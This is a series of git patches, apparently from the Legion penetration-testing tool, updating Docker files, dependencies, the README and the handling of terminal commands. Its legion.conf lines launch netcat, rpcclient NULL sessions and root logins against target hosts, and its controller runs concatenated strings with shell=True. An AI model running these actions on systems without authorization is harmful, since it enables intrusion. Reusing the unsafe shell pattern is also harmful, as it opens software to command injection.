docker/Dockerfile.local | 18 ++++++++++++++++++ docker/buildItLocal.sh | 4 ++++ 4 files changed, 32 insertions(+), 9 deletions(-) create mode 100644 docker/Dockerfile.local create mode 100644 docker/buildItLocal.sh diff --git a/app/ApplicationInfo.py b/app/ApplicationInfo.py index bd60fe74..6273207f 100644 --- a/app/ApplicationInfo.py +++ b/app/ApplicationInfo.py @@ -19,12 +19,12 @@ applicationInfo = { "name": "LEGION", "version": "0.3.6", - "build": '1580902879', + "build": '1593118271', "author": "GoVanguard", "copyright": "2020", "links": ["http://github.com/GoVanguard/legion/issues", "https://GoVanguard.com/legion"], "emails": [], - "update": '02/05/2020', + "update": '06/25/2020', "license": "GPL v3", "desc": "Legion is a fork of SECFORCE's Sparta, Legion is an open source, easy-to-use, \n" + "super-extensible and semi-automated network penetration testing tool that aids in " + diff --git a/deps/installDeps.sh b/deps/installDeps.sh index 4da9bb6c..2ce7c8aa 100644 --- a/deps/installDeps.sh +++ b/deps/installDeps.sh @@ -9,10 +9,11 @@ source ./deps/apt.sh apt-get update -m echo "Installing deps..." -DEBIAN_FRONTEND="noninteractive" apt-get -yqqqm --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install nmap finger hydra nikto nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho x11-apps cutycapt leafpad xvfb imagemagick eog hping3 sqlmap libqt5core5a python-pip ruby perl urlscan git xsltproc -DEBIAN_FRONTEND="noninteractive" apt-get -yqqqm --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install libgl1-mesa-glx -DEBIAN_FRONTEND="noninteractive" apt-get -yqqqm --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install dnsmap -DEBIAN_FRONTEND="noninteractive" apt-get -yqqqm --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install wapiti -DEBIAN_FRONTEND="noninteractive" apt-get -yqqqm --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install python-impacket -DEBIAN_FRONTEND="noninteractive" apt-get -yqqqm --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install whatweb -DEBIAN_FRONTEND="noninteractive" apt-get -yqqqm --allow-unauthenticated --force-yes -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install medusa +export DEBIAN_FRONTEND="noninteractive" +apt-get -yqqqm --allow-unauthenticated -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install nmap finger hydra nikto nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho x11-apps cutycapt leafpad xvfb imagemagick eog hping3 sqlmap libqt5core5a python-pip ruby perl urlscan git xsltproc +apt-get -yqqqm --allow-unauthenticated -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install libgl1-mesa-glx +apt-get -yqqqm --allow-unauthenticated -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install dnsmap +apt-get -yqqqm --allow-unauthenticated -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install wapiti +apt-get -yqqqm --allow-unauthenticated -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install python-impacket +apt-get -yqqqm --allow-unauthenticated -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install whatweb +apt-get -yqqqm --allow-unauthenticated -o DPkg::Options::="--force-overwrite" -o DPkg::Options::="--force-confdef" install medusa diff --git a/docker/Dockerfile.local b/docker/Dockerfile.local new file mode 100644 index 00000000..f8cc487b --- /dev/null +++ b/docker/Dockerfile.local @@ -0,0 +1,18 @@ +FROM gvit/python-secbase:latest +WORKDIR / +ENV DISPLAY :0 +ENV DEBIAN_FRONTEND=noninteractive +ENV TZ=America/Chicago +RUN mkdir -p /legion +COPY . /legion +RUN cd legion && \ + chmod +x ./startLegion.sh && \ + chmod +x ./deps/* -R && \ + chmod +x ./scripts/* -R && \ + mkdir -p /legion/tmp +RUN cd legion && \ + pip3 install -r requirements.txt --upgrade +RUN cd legion && \ + bash ./deps/detectScripts.sh +WORKDIR /legion +CMD ["python3", "legion.py"] diff --git a/docker/buildItLocal.sh b/docker/buildItLocal.sh new file mode 100644 index 00000000..8656b980 --- /dev/null +++ b/docker/buildItLocal.sh @@ -0,0 +1,4 @@ +#!/bin/bash + +echo "Building local branch" +docker build -f ./docker/Dockerfile.local -t legion:local . --no-cache From c618b425febbd51cc26fbb7e7ae7c2afe12a1961 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Thu, 25 Jun 2020 18:29:13 -0500 Subject: [PATCH 391/450] Update docker, travis, version, logs --- .justcloned | 0 .travis.yml | 2 +- CHANGELOG.txt | 5 +++++ app/ApplicationInfo.py | 4 ++-- docker/Dockerfile | 36 +++++++++++++++++------------------- docker/Dockerfile.dev | 36 +++++++++++++++++------------------- legion.conf | 6 ------ ui/dialogs.py | 1 - 8 files changed, 42 insertions(+), 48 deletions(-) create mode 100644 .justcloned diff --git a/.justcloned b/.justcloned new file mode 100644 index 00000000..e69de29b diff --git a/.travis.yml b/.travis.yml index 31fc1605..d75b6662 100644 --- a/.travis.yml +++ b/.travis.yml @@ -7,7 +7,7 @@ language: python sudo: true python: - - "3.6" + - 3.6.9 cache: pip diff --git a/CHANGELOG.txt b/CHANGELOG.txt index 4ab2127b..b40a2f94 100644 --- a/CHANGELOG.txt +++ b/CHANGELOG.txt @@ -1,3 +1,8 @@ +LEGION 0.3.7 + +* Bug fixes +* Refactor of docker base image + LEGION 0.3.6 * Significant code refactoring diff --git a/app/ApplicationInfo.py b/app/ApplicationInfo.py index 6273207f..59d4461e 100644 --- a/app/ApplicationInfo.py +++ b/app/ApplicationInfo.py @@ -18,8 +18,8 @@ applicationInfo = { "name": "LEGION", - "version": "0.3.6", - "build": '1593118271', + "version": "0.3.7", + "build": '1593127344', "author": "GoVanguard", "copyright": "2020", "links": ["http://github.com/GoVanguard/legion/issues", "https://GoVanguard.com/legion"], diff --git a/docker/Dockerfile b/docker/Dockerfile index 1ac810de..a85805d6 100644 --- a/docker/Dockerfile +++ b/docker/Dockerfile @@ -1,19 +1,17 @@ -FROM ubuntu:18.04 -ENV DISPLAY :0 -RUN apt-get update && apt-get install -y \ - python \ - python-pip \ - python3 \ - python3-pip \ - nmap \ - hydra \ - git -RUN git clone https://github.com/GoVanguard/legion.git -RUN cd legion && chmod +x ./startLegion.sh && chmod +x ./deps/* -R && chmod +x ./scripts/* -R && mkdir /legion/tmp -RUN cd legion && pip3 install -r requirements.txt --upgrade -RUN pip3 install service_identity --upgrade -RUN cd legion && chmod a+x ./deps/primeExploitDb.py && ./deps/primeExploitDb.py -RUN cd legion && ./deps/Ubuntu-18.sh -RUN cd legion && ./startLegion.sh setup -WORKDIR /legion -CMD ["python3", "legion.py"] +FROM gvit/python-secbase:latest +WORKDIR / +ENV DISPLAY :0 +ENV DEBIAN_FRONTEND=noninteractive +ENV TZ=America/Chicago +RUN git clone https://github.com/GoVanguard/legion.git +RUN cd legion && \ + chmod +x ./startLegion.sh && \ + chmod +x ./deps/* -R && \ + chmod +x ./scripts/* -R && \ + mkdir -p /legion/tmp +RUN cd legion && \ + pip3 install -r requirements.txt --upgrade +RUN cd legion && \ + bash ./deps/detectScripts.sh +WORKDIR /legion +CMD ["python3", "legion.py"] diff --git a/docker/Dockerfile.dev b/docker/Dockerfile.dev index d42174b8..7f4b3517 100644 --- a/docker/Dockerfile.dev +++ b/docker/Dockerfile.dev @@ -1,19 +1,17 @@ -FROM ubuntu:18.04 -ENV DISPLAY :0 -RUN apt-get update && apt-get install -y \ - python \ - python-pip \ - python3 \ - python3-pip \ - nmap \ - hydra \ - git -RUN git clone https://github.com/GoVanguard/legion.git -b development -RUN cd legion && chmod +x ./startLegion.sh && chmod +x ./deps/* -R && chmod +x ./scripts/* -R && mkdir /legion/tmp -RUN cd legion && pip3 install -r requirements.txt --upgrade -RUN pip3 install service_identity --upgrade -RUN cd legion && chmod a+x ./deps/primeExploitDb.py && ./deps/primeExploitDb.py -RUN cd legion && ./deps/Ubuntu-18.sh -RUN cd legion && ./startLegion.sh setup -WORKDIR /legion -CMD ["python3", "legion.py"] +FROM gvit/python-secbase:latest +WORKDIR / +ENV DISPLAY :0 +ENV DEBIAN_FRONTEND=noninteractive +ENV TZ=America/Chicago +RUN git clone https://github.com/GoVanguard/legion.git -b development +RUN cd legion && \ + chmod +x ./startLegion.sh && \ + chmod +x ./deps/* -R && \ + chmod +x ./scripts/* -R && \ + mkdir -p /legion/tmp +RUN cd legion && \ + pip3 install -r requirements.txt --upgrade +RUN cd legion && \ + bash ./deps/detectScripts.sh +WORKDIR /legion +CMD ["python3", "legion.py"] diff --git a/legion.conf b/legion.conf index e4d6c012..06ddb2a5 100644 --- a/legion.conf +++ b/legion.conf @@ -311,12 +311,6 @@ xephyr=Open with Xephyr, Xephyr -query [IP] :1, xdmcp ftp-default=ftp, tcp mssql-default=ms-sql-s, tcp mysql-default=mysql, tcp -<<<<<<< HEAD -nikto="http,https,ssl,soap,http-proxy,http-alt,https-alt", tcp -python-script-PyShodan=Run PyShodan python script, /bin/echo PythonScript pyShodan -python-script-macvendors=Run macvendors python script, /bin/echo PythonScript macvendors -======= ->>>>>>> master oracle-default=oracle-tns, tcp postgres-default=postgresql, tcp screenshooter="http,https,ssl,http-proxy,http-alt,https-alt", tcp diff --git a/ui/dialogs.py b/ui/dialogs.py index 3bd338bd..3aea65ef 100644 --- a/ui/dialogs.py +++ b/ui/dialogs.py @@ -21,7 +21,6 @@ from app.auxiliary import * # for timestamps from app.timing import getTimestamp from six import u as unicode -from app.timing import getTimestamp class BruteWidget(QtWidgets.QWidget): From 2aec73e31486352abfbb21b0c2edc94a8d6de476 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Thu, 25 Jun 2020 22:32:27 -0500 Subject: [PATCH 392/450] Config tweaks, Docker tweaks --- app/ApplicationInfo.py | 2 +- controller/controller.py | 3 ++- legion.conf | 6 +----- 3 files changed, 4 insertions(+), 7 deletions(-) diff --git a/app/ApplicationInfo.py b/app/ApplicationInfo.py index 59d4461e..252bc8f8 100644 --- a/app/ApplicationInfo.py +++ b/app/ApplicationInfo.py @@ -19,7 +19,7 @@ applicationInfo = { "name": "LEGION", "version": "0.3.7", - "build": '1593127344', + "build": '1593142328', "author": "GoVanguard", "copyright": "2020", "links": ["http://github.com/GoVanguard/legion/issues", "https://GoVanguard.com/legion"], diff --git a/controller/controller.py b/controller/controller.py index 2d2c7b69..e1c4e372 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -481,7 +481,8 @@ def handlePortAction(self, targets, *args): for ip in targets: command = str(self.settings.portTerminalActions[srvc_num][2]) command = command.replace('[IP]', ip[0]).replace('[PORT]', ip[1]) - subprocess.Popen(terminal+" -e 'bash -c \""+command+"; exec bash\"'", shell=True) + #subprocess.Popen(terminal+" -e 'bash -c \""+command+"; exec bash\"'", shell=True) + subprocess.Popen("bash -c \"" + command + "; exec bash\"", shell=True) return self.handleServiceNameAction(targets, actions, action, restoring) diff --git a/legion.conf b/legion.conf index 06ddb2a5..535ad5fb 100644 --- a/legion.conf +++ b/legion.conf @@ -9,15 +9,11 @@ store-cleartext-passwords-on-exit=True username-wordlist-path=/usr/share/wordlists/ [GUISettings] -<<<<<<< HEAD process-tab-column-widths="125,0,26,26,26,0,100,100,0,0,0,0,0,0,0,755,100" -======= -process-tab-column-widths="125,0,100,150,100,0,100,100,0,0,0,0,0,0,0,481,100" ->>>>>>> master process-tab-detail=false [GeneralSettings] -default-terminal=gnome-terminal +default-terminal=xterm enable-scheduler=True enable-scheduler-on-import=False max-fast-processes=5 From aa78f654e503ec6499ab795876392dbbfab10962 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Fri, 26 Jun 2020 08:44:46 -0500 Subject: [PATCH 393/450] Minor fix for term commands --- controller/controller.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/controller/controller.py b/controller/controller.py index e1c4e372..a161165b 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -481,6 +481,8 @@ def handlePortAction(self, targets, *args): for ip in targets: command = str(self.settings.portTerminalActions[srvc_num][2]) command = command.replace('[IP]', ip[0]).replace('[PORT]', ip[1]) + if "[term]" in command: + command = str(command).replace("[term]", terminal) #subprocess.Popen(terminal+" -e 'bash -c \""+command+"; exec bash\"'", shell=True) subprocess.Popen("bash -c \"" + command + "; exec bash\"", shell=True) return From bb96edcf9a7326b233eaf1f27dd3ba46c1dc953a Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Fri, 26 Jun 2020 09:20:02 -0500 Subject: [PATCH 394/450] Minor fix for term commands --- controller/controller.py | 7 ++++--- legion.conf | 24 ++++++++++++------------ 2 files changed, 16 insertions(+), 15 deletions(-) diff --git a/controller/controller.py b/controller/controller.py index a161165b..88cc1249 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -482,9 +482,10 @@ def handlePortAction(self, targets, *args): command = str(self.settings.portTerminalActions[srvc_num][2]) command = command.replace('[IP]', ip[0]).replace('[PORT]', ip[1]) if "[term]" in command: - command = str(command).replace("[term]", terminal) - #subprocess.Popen(terminal+" -e 'bash -c \""+command+"; exec bash\"'", shell=True) - subprocess.Popen("bash -c \"" + command + "; exec bash\"", shell=True) + command = command.replace("[term]", "") + subprocess.Popen(terminal+" -e 'bash -c \""+command+"; exec bash\"'", shell=True) + else: + subprocess.Popen("bash -c \"" + command + "; exec bash\"", shell=True) return self.handleServiceNameAction(targets, actions, action, restoring) diff --git a/legion.conf b/legion.conf index 535ad5fb..eee4ba96 100644 --- a/legion.conf +++ b/legion.conf @@ -289,19 +289,19 @@ wpscan=Run wpscan, wpscan --url [IP], "http,https,ssl,https-alt" [PortTerminalActions] firefox=Open with firefox, firefox [IP]:[PORT], -ftp=Open with ftp client, ftp [IP] [PORT], ftp -mssql=Open with mssql client (as sa), python /usr/share/doc/python-impacket-doc/examples/mssqlclient.py -p [PORT] sa@[IP], "mys-sql-s,codasrv-se" -mysql=Open with mysql client (as root), "mysql -u root -h [IP] --port=[PORT] -p", mysql -netcat=Open with netcat, nc -v [IP] [PORT], -psql=Open with postgres client (as postgres), psql -h [IP] -p [PORT] -U postgres, postgres -rdesktop=Open with rdesktop, rdesktop [IP]:[PORT], ms-wbt-server -rlogin=Open with rlogin, rlogin -i root -p [PORT] [IP], login -rpcclient=Open with rpcclient (NULL session), rpcclient [IP] -p [PORT] -U%, "netbios-ssn,microsoft-ds" -rsh=Open with rsh, rsh -l root [IP], shell -ssh=Open with ssh client (as root), ssh root@[IP] -p [PORT], ssh -telnet=Open with telnet, telnet [IP] [PORT], +ftp=Open with ftp client, ftp [IP] [PORT], [term] ftp +mssql=Open with mssql client (as sa), [term] python /usr/share/doc/python-impacket-doc/examples/mssqlclient.py -p [PORT] sa@[IP], "mys-sql-s,codasrv-se" +mysql=Open with mysql client (as root), "[term] mysql -u root -h [IP] --port=[PORT] -p", mysql +netcat=Open with netcat, [term] nc -v [IP] [PORT], +psql=Open with postgres client (as postgres), [term] psql -h [IP] -p [PORT] -U postgres, postgres +rdesktop=Open with rdesktop, [term] rdesktop [IP]:[PORT], ms-wbt-server +rlogin=Open with rlogin, [term] rlogin -i root -p [PORT] [IP], login +rpcclient=Open with rpcclient (NULL session), [term] rpcclient [IP] -p [PORT] -U%, "netbios-ssn,microsoft-ds" +rsh=Open with rsh, rsh -l root [IP], [term] shell +ssh=Open with ssh client (as root), [term] ssh root@[IP] -p [PORT], ssh +telnet=Open with telnet, [term] telnet [IP] [PORT], vncviewer=Open with vncviewer, vncviewer [IP]:[PORT], vnc -xephyr=Open with Xephyr, Xephyr -query [IP] :1, xdmcp +xephyr=Open with Xephyr, [term] Xephyr -query [IP] :1, xdmcp [SchedulerSettings] ftp-default=ftp, tcp From 039dd6f82f4bbe67182276ea12f2aa60246d4dfb Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Fri, 26 Jun 2020 09:42:21 -0500 Subject: [PATCH 395/450] Minor fix for term commands --- legion.conf | 1 + 1 file changed, 1 insertion(+) diff --git a/legion.conf b/legion.conf index eee4ba96..65aa3d4e 100644 --- a/legion.conf +++ b/legion.conf @@ -302,6 +302,7 @@ ssh=Open with ssh client (as root), [term] ssh root@[IP] -p [PORT], ssh telnet=Open with telnet, [term] telnet [IP] [PORT], vncviewer=Open with vncviewer, vncviewer [IP]:[PORT], vnc xephyr=Open with Xephyr, [term] Xephyr -query [IP] :1, xdmcp +xterm=Open terminal, [term] bash, [SchedulerSettings] ftp-default=ftp, tcp From efab5e70fa107575b07e170819a0dbcd0143d36b Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Fri, 26 Jun 2020 10:28:17 -0500 Subject: [PATCH 396/450] Retrigger CI --- app/ApplicationInfo.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/app/ApplicationInfo.py b/app/ApplicationInfo.py index 252bc8f8..f8d3e139 100644 --- a/app/ApplicationInfo.py +++ b/app/ApplicationInfo.py @@ -19,12 +19,12 @@ applicationInfo = { "name": "LEGION", "version": "0.3.7", - "build": '1593142328', + "build": '1593185290', "author": "GoVanguard", "copyright": "2020", "links": ["http://github.com/GoVanguard/legion/issues", "https://GoVanguard.com/legion"], "emails": [], - "update": '06/25/2020', + "update": '06/26/2020', "license": "GPL v3", "desc": "Legion is a fork of SECFORCE's Sparta, Legion is an open source, easy-to-use, \n" + "super-extensible and semi-automated network penetration testing tool that aids in " + From 137c4b6549d828d18c2bfef126a1ccb270405bd7 Mon Sep 17 00:00:00 2001 From: jchoy14 <28782996+jchoy14@users.noreply.github.com> Date: Fri, 26 Jun 2020 16:46:51 -0400 Subject: [PATCH 397/450] commented potential problem area --- app/importers/NmapImporter.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/importers/NmapImporter.py b/app/importers/NmapImporter.py index 0b572f3e..6bda3c6c 100644 --- a/app/importers/NmapImporter.py +++ b/app/importers/NmapImporter.py @@ -118,7 +118,7 @@ def run(self): session.commit() - for h in allHosts: # create all OS, service and port objects that need to be created + for h in allHosts: # create all OS, service and port objects that need to be created - does not take into account different service versions? self.tsLog("Processing h {ip}".format(ip=h.ip)) db_host = self.hostRepository.getHostInformation(h.ip) From 065141582766b2322e74220399ffe70d092fdd5a Mon Sep 17 00:00:00 2001 From: jchoy14 <28782996+jchoy14@users.noreply.github.com> Date: Fri, 26 Jun 2020 16:53:07 -0400 Subject: [PATCH 398/450] Comment regarding issue #164 --- app/importers/NmapImporter.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/importers/NmapImporter.py b/app/importers/NmapImporter.py index 6bda3c6c..0386c75b 100644 --- a/app/importers/NmapImporter.py +++ b/app/importers/NmapImporter.py @@ -304,7 +304,7 @@ def run(self): db_port.state = p.state session.add(db_port) - # if there is some new service information, update it + # if there is some new service information, update it -- might be causing issue 164 if not (db_service is None) and db_port.serviceId != db_service.id: db_port.serviceId = db_service.id session.add(db_port) From 220dde39203a831c22973ed20aa883063ce4c54f Mon Sep 17 00:00:00 2001 From: sfrmattos Date: Tue, 7 Jul 2020 23:37:09 -0300 Subject: [PATCH 399/450] Solves issue on "command" format, where the {url} var was not being replaced on .format, resulting in cutycapt execution failure. --- app/Screenshooter.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/app/Screenshooter.py b/app/Screenshooter.py index 89c703dc..95d4a6e3 100644 --- a/app/Screenshooter.py +++ b/app/Screenshooter.py @@ -74,9 +74,9 @@ def run(self): def save(self, url, ip, port, outputfile): self.tsLog('Saving screenshot as: ' + str(outputfile)) - command = 'xvfb-run --server-args="-screen 0:0, 1024x768x24" /usr/bin/cutycapt --url="{url}/"' + \ - ' --max-wait=5000 --out="{outputfolder}/{outputfile}"' \ - .format(url=url, outputfolder=self.outputfolder, outputfile=outputfile) + command = ('xvfb-run --server-args="-screen 0:0, 1024x768x24" /usr/bin/cutycapt --url="{url}/"' + \ + ' --max-wait=5000 --out="{outputfolder}/{outputfile}"') \ + .format(url=url, outputfolder=self.outputfolder, outputfile=outputfile) p = subprocess.Popen(command, shell=True) p.wait() # wait for command to finish self.done.emit(ip, port, outputfile) # send a signal to add the 'process' to the DB From 9d6fcbae5230384181dfda0bb9671897a3e4b757 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Wed, 15 Jul 2020 13:16:00 -0500 Subject: [PATCH 400/450] Tweaks to prevent linting complaints --- app/auxiliary.py | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/app/auxiliary.py b/app/auxiliary.py index 9f0f80ee..f1945631 100644 --- a/app/auxiliary.py +++ b/app/auxiliary.py @@ -265,13 +265,13 @@ def display(self): # TODO: should probably be moved to a new file called test_validation.py def validateNmapInput(text): # validate nmap input entered in Add Hosts dialog - if re.search('[^a-zA-Z0-9\.\/\-\s]', text) is not None: + if re.search('[^a-zA-Z0-9\.\/\-\s]', text) != None: return False return True def validateCommandFormat(text): # used by settings dialog to validate commands - if text is not '' and text is not ' ': + if text != '' and text != ' ': return True return False @@ -283,18 +283,18 @@ def validateNumeric(text): # only allows numbers def validateString(text): # only allows alphanumeric characters, '_' and '-' - if text is not '' and re.search("[^A-Za-z0-9_-]+", text) is None: + if text != '' and re.search("[^A-Za-z0-9_-]+", text) == None: return True return False def validateStringWithSpace(text): # only allows alphanumeric characters, '_', '-' and space - if text is not '' and re.search("[^A-Za-z0-9_() -]+", text) is None: + if text != '' and re.search("[^A-Za-z0-9_() -]+", text) == None: return True return False def validateNmapPorts(text): # only allows alphanumeric characters and the following: ./-'"*,:[any kind of space] - if re.search('[^a-zA-Z0-9\.\/\-\'\"\*\,\:\s]', text) is not None: + if re.search('[^a-zA-Z0-9\.\/\-\'\"\*\,\:\s]', text) != None: return False return True From 3eb5cb5e1f38699fdb2c55dbd6b8d48b0a7295fc Mon Sep 17 00:00:00 2001 From: Kurt Wuckert Jr <57050920+kurtwuckertjr@users.noreply.github.com> Date: Fri, 17 Jul 2020 08:57:50 -0500 Subject: [PATCH 401/450] Update README.md Just some grammar and punctuation in README --- README.md | 46 +++++++++++++++++++++++----------------------- 1 file changed, 23 insertions(+), 23 deletions(-) diff --git a/README.md b/README.md index 8f075a06..7054dedc 100644 --- a/README.md +++ b/README.md @@ -18,29 +18,29 @@ If you are interested in contributing to Legion, join our [Legion Keybase Team]( ### FEATURES * Automatic recon and scanning with NMAP, whataweb, nikto, Vulners, Hydra, SMBenum, dirbuster, sslyzer, webslayer -and more (with almost 100 auto-scheduled scripts) +and more (with almost 100 auto-scheduled scripts). * Easy to use graphical interface with rich context menus and panels that allow pentesters to quickly find and -exploit attack vectors on hosts -* Modular functionality allows users to easily customize Legion and automatically call their own scripts/tools -* Highly customizable stage scanning for ninja-like IPS evasion -* Automatic detection of CPEs (Common Platform Enumeration) and CVEs (Common Vulnerabilities and Exposures) -* Ties CVEs to Exploits as detailed in Exploit-Database -* Realtime autosaving of project results and tasks +exploit attack vectors on hosts. +* Modular functionality allows users to easily customize Legion and automatically call their own scripts/tools. +* Highly customizable stage scanning for ninja-like IPS evasion. +* Automatic detection of CPEs (Common Platform Enumeration) and CVEs (Common Vulnerabilities and Exposures). +* Ties CVEs to Exploits as detailed in Exploit-Database. +* Realtime autosaving of project results and tasks. ### NOTABLE CHANGES FROM SPARTA -* Refactored from Python 2.7 to Python 3.6 and the elimination of deprecated and unmaintained libraries +* Refactored from Python 2.7 to Python 3.6 and the elimination of deprecated and unmaintained libraries. * Upgraded to PyQT5, increased responsiveness, less buggy, more intuitive GUI that includes features like: * Task completion estimates * 1-Click scan lists of ips, hostnames and CIDR subnets * Ability to purge results, rescan hosts and delete hosts * Granular NMAP scanning options -* Support for hostname resolution and scanning of vhosts/sni hosts -* Revise process queuing and execution routines for increased app reliability and performance -* Simplification of installation with dependency resolution and installation routines +* Support for hostname resolution and scanning of vhosts/sni hosts. +* Revise process queuing and execution routines for increased app reliability and performance. +* Simplification of installation with dependency resolution and installation routines. * Realtime project autosaving so in the event some goes wrong, you will not lose any progress! -* Docker container deployment option -* Supported by a highly active development team +* Docker container deployment option. +* Supported by a highly active development team. ### GIF DEMO ![](https://govanguard.com/wp-content/uploads/2019/02/LegionDemo.gif) @@ -55,14 +55,14 @@ NOTE: Docker versions of Legion are *unlikely* to work when run as root or under ### Supported Distributions #### Docker runIt script -runIt supports Ubuntu 18, Fedora 30, Parrot and Kali at this time. It is possible to run the docker image on any +RunIt supports Ubuntu 18, Fedora 30, Parrot and Kali at this time. It is possible to run the docker image on any Linux distribution, however, different distributions have different hoops to jump through to get a docker app to -be able to connect to the X server. Everyone is welcome to try and figure those hoops out and create a PR for runIt. +be able to connect to the X server. Everyone is welcome to try to figure those hoops out and create a PR for runIt. #### Traditional Install We can only promise correct operation on Ubuntu 18 using the traditional installation at this time. While it should -work on ParrotOS, Kali and others, until we have Legion packaged and placed into the repos for each of these distros +work on ParrotOS, Kali and others, until we have Legion packaged and placed into the repos for each of these distros, it's musical chairs with regards to platform updates changing and breaking dependencies. ### DOCKER METHOD @@ -70,11 +70,11 @@ it's musical chairs with regards to platform updates changing and breaking depen Linux with Local X11: - - Assumes Docker and X11 are installed and setup (including running docker commands as a non-root user) + - Assumes Docker and X11 are installed and setup (including running docker commands as a non-root user). - It is critical to follow all the instructions for running as a non-root user. Skipping any of them will result in - complications getting docker to communicate with the X server + complications getting docker to communicate with the X server. - See detailed instructions to setup docker [here](#docker-setup) and enable running containers as non-root users - and granting docker group ssh rights [here](#docker-setup-non-root) + and granting docker group ssh rights [here](#docker-setup-non-root). - Within Terminal: ``` @@ -85,7 +85,7 @@ Linux with Local X11: ``` Linux with Remote X11: - - Assumes Docker and X11 are installed and setup + - Assumes Docker and X11 are installed and setup. - Replace X.X.X.X with the IP of the remote running X11. - Within Terminal: ``` @@ -96,9 +96,9 @@ Linux with Remote X11: ``` Windows under WSL using Xming and Docker Desktop: - - Assumes Xming is installed in Windows + - Assumes Xming is installed in Windows. - Assumes Docker Desktop is installed in Windows, Docker Desktop is running in Linux containers mode and - Docker Desktop is connected to WSL + Docker Desktop is connected to WSL. - See detailed instructions [here](#docker-setup-wsl) - Replace X.X.X.X with the IP with which Xming has registered itself. - Right click Xming in system tray -> View log and see IP next to "XdmcpRegisterConnection: newAddress" @@ -191,7 +191,7 @@ Setup Hyper-V, Docker Desktop, Xming and WSL: ### TRADITIONAL METHOD - Please use the docker image where possible! It's becoming very difficult to support all the various platforms - and their own quirks + and their own quirks. - Assumes Ubuntu, Kali or Parrot Linux is being used with Python 3.6 installed. - Within Terminal: ``` From a133d7b620a1da36321f807e64b92d14e526772d Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Fri, 31 Jul 2020 10:12:15 -0500 Subject: [PATCH 402/450] Fix flake complaints, add more filter criteria to services by port query --- app/Screenshooter.py | 4 ++-- app/importers/NmapImporter.py | 6 ++++-- 2 files changed, 6 insertions(+), 4 deletions(-) diff --git a/app/Screenshooter.py b/app/Screenshooter.py index 95d4a6e3..613c57e3 100644 --- a/app/Screenshooter.py +++ b/app/Screenshooter.py @@ -74,9 +74,9 @@ def run(self): def save(self, url, ip, port, outputfile): self.tsLog('Saving screenshot as: ' + str(outputfile)) - command = ('xvfb-run --server-args="-screen 0:0, 1024x768x24" /usr/bin/cutycapt --url="{url}/"' + \ + command = ('xvfb-run --server-args="-screen 0:0, 1024x768x24" /usr/bin/cutycapt --url="{url}/"' ' --max-wait=5000 --out="{outputfolder}/{outputfile}"') \ - .format(url=url, outputfolder=self.outputfolder, outputfile=outputfile) + .format(url=url, outputfolder=self.outputfolder, outputfile=outputfile) p = subprocess.Popen(command, shell=True) p.wait() # wait for command to finish self.done.emit(ip, port, outputfile) # send a signal to add the 'process' to the DB diff --git a/app/importers/NmapImporter.py b/app/importers/NmapImporter.py index 0386c75b..530df627 100644 --- a/app/importers/NmapImporter.py +++ b/app/importers/NmapImporter.py @@ -118,7 +118,8 @@ def run(self): session.commit() - for h in allHosts: # create all OS, service and port objects that need to be created - does not take into account different service versions? + for h in allHosts: # create all OS, service and port objects that need to be created + ## does not take into account different service versions? self.tsLog("Processing h {ip}".format(ip=h.ip)) db_host = self.hostRepository.getHostInformation(h.ip) @@ -158,7 +159,8 @@ def run(self): # db_service = session.query(serviceObj).filter_by(name=s.name).filter_by(product=s.product). # filter_by(version=s.version).filter_by(extrainfo=s.extrainfo). # filter_by(fingerprint=s.fingerprint).first() - db_service = session.query(serviceObj).filter_by(name=s.name).first() + db_service = session.query(serviceObj).filter_by(name=s.name).filter_by(product=s.product) \ + .first() if not db_service: # print("Did not find service *********** name={0} prod={1} ver={2} extra={3} fing={4}". # format(s.name, s.product, s.version, s.extrainfo, s.fingerprint)) From eaf4ef95e59a8b643ea6b5989f34992d110652aa Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Fri, 31 Jul 2020 10:15:54 -0500 Subject: [PATCH 403/450] Fix flake8 complaint --- app/Screenshooter.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/Screenshooter.py b/app/Screenshooter.py index 613c57e3..32af2b10 100644 --- a/app/Screenshooter.py +++ b/app/Screenshooter.py @@ -74,7 +74,7 @@ def run(self): def save(self, url, ip, port, outputfile): self.tsLog('Saving screenshot as: ' + str(outputfile)) - command = ('xvfb-run --server-args="-screen 0:0, 1024x768x24" /usr/bin/cutycapt --url="{url}/"' + command = ('xvfb-run --server-args="-screen 